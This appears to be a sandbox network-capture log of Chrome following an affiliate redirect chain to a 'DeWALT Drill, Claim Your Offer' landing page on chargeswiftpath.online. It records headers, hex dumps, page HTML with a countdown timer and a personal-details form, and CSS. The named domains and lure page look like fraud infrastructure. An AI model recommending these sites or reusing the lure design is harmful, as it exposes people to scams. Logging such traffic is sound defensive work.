2025-01-08 14:45:37 UTC	90	IN	Data Raw: 62 31 3d 31 31 36 38 26 61 6d 70 3b 73 75 62 32 3d 32 30 32 35 39 26 61 6d 70 3b 73 75 62 33 3d 36 66 34 37 33 61 36 65 38 33 65 61 34 33 34 61 39 65 62 35 64 35 35 39 33 37 33 62 62 36 38 32 26 61 6d 70 3b 73 75 62 35 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: b1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5=">Found</a>.
2025-01-08 14:45:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49850	34.149.120.191	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:37 UTC	789	OUT	GET /FNX4R/31X75W/?sub1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5= HTTP/1.1 Host: www.nrj1hs34m.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:37 UTC	814	IN	HTTP/1.1 302 Found server: nginx date: Wed, 08 Jan 2025 14:45:37 GMT content-type: text/html; charset=utf-8 Content-Length: 213 accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://www.ChargeSwiftPath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a set-cookie: uniqueClick_31X75W=1ec5bb22-525d-412b-941b-7d634736c2ca:1736347537; Path=/; Expires=Fri, 07 Feb 2025 14:45:37 GMT; Secure; SameSite=None set-cookie: transaction_id=44e1e54b83a9446eb873351aeb3c2f9a; Path=/; Expires=Tue, 08 Apr 2025 14:45:37 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: 6d6c2742-dafc-4661-906e-ba8e690399ba Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-08 14:45:37 UTC	213	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 43 68 61 72 67 65 53 77 69 66 74 50 61 74 68 2e 6f 6e 6c 69 6e 65 2f 6e 65 77 2f 36 37 32 33 34 2f 3f 61 66 66 49 64 3d 31 30 26 61 6d 70 3b 63 31 3d 31 31 36 38 26 61 6d 70 3b 63 32 3d 32 30 32 35 39 26 61 6d 70 3b 63 33 3d 36 66 34 37 33 61 36 65 38 33 65 61 34 33 34 61 39 65 62 35 64 35 35 39 33 37 33 62 62 36 38 32 26 61 6d 70 3b 63 34 3d 26 61 6d 70 3b 63 35 3d 64 77 6c 74 64 72 69 6c 6c 26 61 6d 70 3b 63 6c 69 63 6b 5f 69 64 3d 34 34 65 31 65 35 34 62 38 33 61 39 34 34 36 65 62 38 37 33 33 35 31 61 65 62 33 63 32 66 39 61 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.ChargeSwiftPath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49852	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:38 UTC	851	OUT	GET /new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:39 UTC	1087	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache, must-revalidate Cache-Control: max-age=0, no-cache, no-store, must-revalidate Set-Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1; path=/new/67234/ vary: Accept-Encoding,User-Agent pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CDBcOWYWFzCWY2lKXKTJ60%2F3TWdLHARvx9U9BdeQYVTKlnPIdfrzbkRUIAysZW1VhJPE2w66Ed6wfkWEma7C879%2BQs9XQi5tzJsc5cyMJj6zaC%2FxpxUGgCpFjQwVVj9VnMg9ddNDia916spEfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8f6cc5a4356-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1590&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1429&delivery_rate=1836477&cwnd=237&unsent_bytes=0&cid=6bc5d2e5f04c3d69&ts=194&x=0"
2025-01-08 14:45:39 UTC	282	IN	Data Raw: 35 30 66 32 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 44 65 57 41 4c 54 20 44 72 69 6c 6c 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6c 61 69 6d 20 59 6f 75 72 20 4f 66 66 65 72 22 20 2f 3e 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 Data Ascii: 50f2<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"/><title>DeWALT Drill</title><meta name="description" content="Claim Your Offer" /><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><meta http
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 6c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 2d 75 73 22 20 2f 3e 0d 0a 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 73 74 61 74 75 73 2d 62 61 72 2d 73 74 79 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 62 6c 61 63 6b 22 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 Data Ascii: nt="text/html;charset=utf-8" /><meta http-equiv="content-language" content="en-us" /> <meta name="apple-mobile-web-app-capable" content="yes"/><meta name="apple-mobile-web-app-status-bar-style" content="black"/><meta name="HandheldFriendly" cont
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 2e 6d 69 6e 2e 63 73 73 22 2f 3e 0d 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 2e 68 31 2c 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 32 72 65 6d 3b 7d 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 0d 0a 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 39 64 69 76 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 66 66 65 72 62 61 72 20 70 78 2d 33 20 70 79 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 69 64 3d 22 69 72 76 63 33 22 Data Ascii: .min.css"/> <style type="text/css">.h1, h1 {font-size: 2.2rem;}</style> </head> <body> <section class="s9div"> <div class="offerbar px-3 py-2"> <div class="container1"> <h4 id="irvc3"
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 74 20 63 75 72 72 65 6e 74 54 69 6d 65 20 3d 20 44 61 74 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 74 69 6d 65 4c 65 66 74 20 3d 20 65 6e 64 54 69 6d 65 20 2d 20 63 75 72 72 65 6e 74 54 69 6d 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 69 6d 65 4c 65 66 74 20 3e 20 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 74 69 6d 65 4c 65 66 74 49 6e 53 65 63 6f 6e 64 73 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 69 6d 65 4c 65 66 74 20 2f 20 31 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 Data Ascii: t currentTime = Date.now(); const timeLeft = endTime - currentTime; if (timeLeft > 0) { const timeLeftInSeconds = Math.floor(timeLeft / 1000);
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 69 64 3d 22 69 65 64 69 32 22 20 63 6c 61 73 73 3d 22 70 72 64 2d 70 72 69 63 65 22 3e 24 39 2e 39 35 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3d 22 64 79 6e 61 6d 69 63 5f 6c 61 6e 64 65 72 5f 69 6d 61 67 65 73 2f 31 37 32 30 34 36 30 35 37 37 5f 31 37 31 35 37 38 39 34 38 31 5f 44 65 77 61 6c 74 20 44 72 69 6c 6c 2e 70 6e 67 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 Data Ascii: </span><span id="iedi2" class="prd-price">$9.95</span> </div> <img src="dynamic_lander_images/1720460577_1715789481_Dewalt Drill.png" c
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 31 32 20 63 6f 6c 2d 31 32 20 43 68 6f 6f 73 65 53 69 7a 65 20 64 2d 6d 64 2d 62 6c 6f 63 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 68 69 64 64 65 6e 2d 78 73 20 6d 78 2d 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 31 32 20 64 65 73 63 42 Data Ascii: </h3> </div> <div class="col-md-12 col-12 ChooseSize d-md-block"> <div class="row hidden-xs mx-0"> <div class="col-md-12 descB
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 20 63 6f 6c 2d 6c 67 2d 34 20 70 78 2d 6d 64 2d 33 20 70 78 2d 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 74 72 6f 2d 66 6f 72 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </div> </div> </div> </div> <div class="col-12 col-lg-4 px-md-3 px-0"> <div class="container"> <div class="intro-form">
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 66 69 72 73 74 4e 61 6d 65 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 46 69 72 73 74 20 4e 61 6d 65 20 22 20 76 61 6c 75 65 3d 22 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 78 73 20 72 65 71 75 69 72 65 64 22 20 64 61 74 61 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 3d 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 66 69 72 73 74 20 6e 61 6d 65 21 Data Ascii: <div class="form-group"> <input name="firstName" type="text" placeholder="First Name " value="" class="form-control form-control-xs required" data-error-message="Please enter your first name!
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 63 6f 6e 74 61 63 74 20 6e 75 6d 62 65 72 21 22 20 64 61 74 61 2d 6d 69 6e 2d 6c 65 6e 67 74 68 3d 22 31 30 22 20 64 61 74 61 2d 6d 61 78 2d 6c 65 6e 67 74 68 3d 22 31 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 27 74 65 78 74 27 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e Data Ascii: "Please enter a valid contact number!" data-min-length="10" data-max-length="14" /> </div> <div class="form-group"> <input type='text' class="form-con
2025-01-08 14:45:39 UTC	1369	IN	Data Raw: 2d 63 6f 6e 74 72 6f 6c 2d 78 73 20 72 65 71 75 69 72 65 64 22 20 64 61 74 61 2d 66 69 65 6c 64 3d 22 73 74 61 74 65 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 31 22 20 69 64 3d 22 73 68 69 70 70 69 6e 67 53 74 61 74 65 22 20 64 61 74 61 2d 64 65 66 61 75 6c 74 3d 22 22 20 64 61 74 61 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 3d 22 50 6c 65 61 73 65 20 73 65 6c 65 63 74 20 79 6f 75 72 20 73 74 61 74 65 21 22 20 72 65 61 64 6f 6e 6c 79 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d 0a 20 20 20 20 Data Ascii: -control-xs required" data-field="state" data-group="1" id="shippingState" data-default="" data-error-message="Please select your state!" readonly /> </div> <div class="form-group">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49860	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:40 UTC	762	OUT	GET /new/67234/assets/css/app.css HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:40 UTC	993	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:57 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635781 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v%2By6U56goJpzxucZZoX8NJZ8W4hrSUhS2hDmRzzfrmQOkFxnYh1BNXUvsvsKKQAw9AgqDvugYYvPQINfoSwz6iEy8HGPwPfaX2NWCcsr8aPXoImDqnd6%2F6D9Ab2FPqrXR%2B98ndXdkYkt3clq0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8fdcd09c47f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1522&rtt_var=580&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1340&delivery_rate=1871794&cwnd=252&unsent_bytes=0&cid=ce773d9629a45547&ts=130&x=0"
2025-01-08 14:45:40 UTC	376	IN	Data Raw: 32 39 35 62 0d 0a 2e 63 6c 65 61 72 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 0a 7d 0a 61 20 69 6d 67 2c 0a 69 6d 67 20 7b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 0a 7d 0a 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 0a 7d 0a 6c 69 2c 0a 75 6c 20 7b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 6c 65 66 74 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 0a 7d 0a 2e 72 69 67 68 74 20 7b 0a 09 66 6c 6f 61 74 3a 20 72 69 67 Data Ascii: 295b.clear,.clearfix:after {clear: both}a img,img {height: auto;max-width: 100%}body {margin: 0;padding: 0;font-family: Arial, sans-serif;font-size: 15px}li,ul {list-style-type: none}.left {float: left}.right {float: rig
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 20 31 35 70 78 0a 7d 0a 2e 61 6c 69 67 6e 4c 65 66 74 2c 0a 2e 66 6c 6f 61 74 2d 6c 65 66 74 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 0a 7d 0a 2e 61 6c 69 67 6e 4c 65 66 74 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 31 35 70 78 20 31 32 70 78 20 30 0a 7d 0a 2e 61 6c 69 67 6e 43 65 6e 74 65 72 20 7b 0a 09 66 6c 6f 61 74 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 7d 0a 61 20 69 6d 67 2c 0a 69 6d 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 30 0a 7d 0a 2e 74 65 78 74 2d 6c 65 66 74 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 0a 7d 0a 2e 74 65 78 74 2d 72 69 67 68 74 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 0a 7d 0a Data Ascii: 15px}.alignLeft,.float-left {float: left}.alignLeft {margin: 0 15px 12px 0}.alignCenter {float: none!important;margin: 0 auto;display: block}a img,img {border: 0}.text-left {text-align: left}.text-right {text-align: right}
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 66 6f 63 75 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 35 70 78 20 23 35 31 63 62 65 65 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 35 31 63 62 65 65 0a 7d 0a 69 6e 70 75 74 2e 68 61 73 2d 65 72 72 6f 72 2c 0a 73 65 6c 65 63 74 2e 68 61 73 2d 65 72 72 6f 72 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2d 69 6e 70 75 74 2e 70 6e 67 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 6f 72 61 6e 67 65 0a 7d 0a 69 6e 70 75 74 2e 6e 6f 2d 65 72 72 6f 72 2c 0a 73 65 6c 65 63 74 2e 6e 6f 2d 65 72 72 6f 72 20 7b 0a 09 Data Ascii: focus {background: #fff;box-shadow: 0 0 5px #51cbee;border: 1px solid #51cbee}input.has-error,select.has-error {background: url(../images/error-input.png) 99.5% 50% no-repeat #fff;border: 1px solid orange}input.no-error,select.no-error {
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 33 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 35 29 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 33 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 35 29 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 33 3b 0a 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 0a 7d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 5f 63 Data Ascii: -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);box-shadow: 0 3px 9px rgba(0, 0, 0, .5);font-size: 14px;line-height: 1.42857143;color: #333;position: relative;-webkit-box-sizing: border-box;-moz-box-sizing: border-box}#app_common_modal_c
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 31 34 37 34 38 33 36 34 37 0a 7d 0a 2e 65 78 69 74 70 6f 70 75 70 2d 6f 76 65 72 6c 61 79 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 36 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 31 34 37 34 38 33 36 34 37 3b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 0a 7d 0a 2e 65 78 69 74 70 6f 70 2d 63 6f 6e 74 65 6e 74 20 69 6d 67 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 